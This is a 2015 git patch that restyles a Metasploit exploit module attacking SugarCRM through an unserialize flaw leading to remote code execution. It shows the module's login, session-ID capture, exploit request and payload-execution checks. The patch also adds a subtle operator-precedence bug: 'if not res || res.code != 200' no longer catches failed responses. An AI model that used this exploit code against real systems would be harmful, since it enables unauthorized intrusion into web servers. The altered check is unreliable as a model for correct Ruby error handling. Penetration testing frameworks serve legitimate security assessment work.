From 321eb452c5155466b3847078b7884f374bcabd8f Mon Sep 17 00:00:00 2001 From: Nanomebia Date: Wed, 28 Jan 2015 18:08:15 +0800 Subject: [PATCH] Syntax Fixes Fixed some or's to || - and's to &&. Fixed failure if statement (fails using fail_with()) Fixed nested else (now and elsif) Changed final execute logic - checks for success rather than failure. --- .../unix/webapp/sugarcrm_unserialize_exec.rb | 17 +++++++---------- 1 file changed, 7 insertions(+), 10 deletions(-) diff --git a/modules/exploits/unix/webapp/sugarcrm_unserialize_exec.rb b/modules/exploits/unix/webapp/sugarcrm_unserialize_exec.rb index daabdcc7fc..8887f0a353 100644 --- a/modules/exploits/unix/webapp/sugarcrm_unserialize_exec.rb +++ b/modules/exploits/unix/webapp/sugarcrm_unserialize_exec.rb @@ -95,21 +95,18 @@ class Metasploit3 < Msf::Exploit::Remote 'data' => data }) - if res.nil? or res.headers['Location'] =~ /action=Login/ or res.get_cookies.empty? + if res.nil? || res.headers['Location'] =~ /action=Login/ || res.get_cookies.empty? print_error("#{peer} - Login failed with \"#{username}:#{password}\"") return end if res.get_cookies =~ /PHPSESSID=([A-Za-z0-9]*); path/ session_id = $1 - else - if res.get_cookies =~ /PHPSESSID=([A-Za-z0-9]*);/ + elsif res.get_cookies =~ /PHPSESSID=([A-Za-z0-9]*);/ session_id = $1 else - print_error("#{peer} - Login failed with \"#{username}:#{password}\" (No session ID)") - return + fail_with(Failure::NoAccess, "#{peer} - Login failed with \"#{username}:#{password}\" (No session ID)") end - end print_status("#{peer} - Login successful with #{username}:#{password}") @@ -132,7 +129,7 @@ class Metasploit3 < Msf::Exploit::Remote 'data' => data }) - if not res or res.code != 200 + if not res || res.code != 200 print_error("#{peer} - Exploit failed: #{res.code}") return end @@ -148,10 +145,10 @@ class Metasploit3 < Msf::Exploit::Remote } }) - if not res or res.code != 200 - print_error("#{peer} - Payload execution failed: #{res.code}") - else + if res && res.code == 200 print_good("#{peer} - Payload Executed Successfuly: #{res.code}") + else + print_error("#{peer} - Payload execution failed: #{res.code}") end end